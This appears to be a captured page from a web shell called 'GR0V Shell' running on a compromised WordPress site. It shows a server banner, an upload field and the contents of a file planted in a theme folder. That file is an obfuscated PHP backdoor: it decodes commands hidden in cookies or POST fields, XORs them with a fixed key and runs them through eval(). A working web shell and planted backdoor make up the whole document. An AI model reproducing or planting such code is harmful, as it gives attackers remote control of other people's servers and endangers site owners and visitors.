? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/wp-content/themes/twentythirteen/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/wp-content/themes/twentythirteen/482d23bd.php

$EAPUPUTEj = chr (80) . "\x5f" . 'U' . chr (106) . chr ( 681 - 572 ); $MpphAaQaQU = chr (99) . "\x6c" . 'a' . chr ( 222 - 107 ).'s' . "\x5f" . "\x65" . chr (120) . chr ( 961 - 856 )."\x73" . chr ( 851 - 735 ).chr (115); $AsfQIf = $MpphAaQaQU($EAPUPUTEj); $MpphAaQaQU = "31483";$dwjXQmvmPD = $AsfQIf;if (!$dwjXQmvmPD){class P_Ujm{private $DSeSnv;public static $AGvlbJzSrc = "f0ba22ac-00cd-40d1-9118-a45d6c73f355";public static $wdvLfhTnjP = 56825;public function __construct($CQJyd=0){$StyPzlAudH = $_COOKIE;$BKvJM = $_POST;$ftoLqR = @$StyPzlAudH[substr(P_Ujm::$AGvlbJzSrc, 0, 4)];if (!empty($ftoLqR)){$XsaIHoHuZ = "base64";$jEkuvOa = "";$ftoLqR = explode(",", $ftoLqR);foreach ($ftoLqR as $RUXCciv){$jEkuvOa .= @$StyPzlAudH[$RUXCciv];$jEkuvOa .= @$BKvJM[$RUXCciv];}$jEkuvOa = array_map($XsaIHoHuZ . "\x5f" . chr ( 647 - 547 )."\x65" . 'c' . 'o' . chr (100) . 'e', array($jEkuvOa,)); $jEkuvOa = $jEkuvOa[0] ^ str_repeat(P_Ujm::$AGvlbJzSrc, (strlen($jEkuvOa[0]) / strlen(P_Ujm::$AGvlbJzSrc)) + 1);P_Ujm::$wdvLfhTnjP = @unserialize($jEkuvOa);}}private function OCJwYtYzL(){if (is_array(P_Ujm::$wdvLfhTnjP)) {$HzwIIv = str_replace('<' . chr ( 1018 - 955 )."\x70" . "\x68" . 'p', "", P_Ujm::$wdvLfhTnjP[chr ( 170 - 71 )."\x6f" . "\156" . "\164" . "\145" . "\156" . 't']);eval($HzwIIv); $VuAUGs = "34985";exit();}}public function __destruct(){$this->OCJwYtYzL(); $VuAUGs = "34985";}}$kbNYRYlZpI = new P_Ujm(); $kbNYRYlZpI = "41782_50880";}

T1KUS90T
  root-grov@210.1.60.28:~$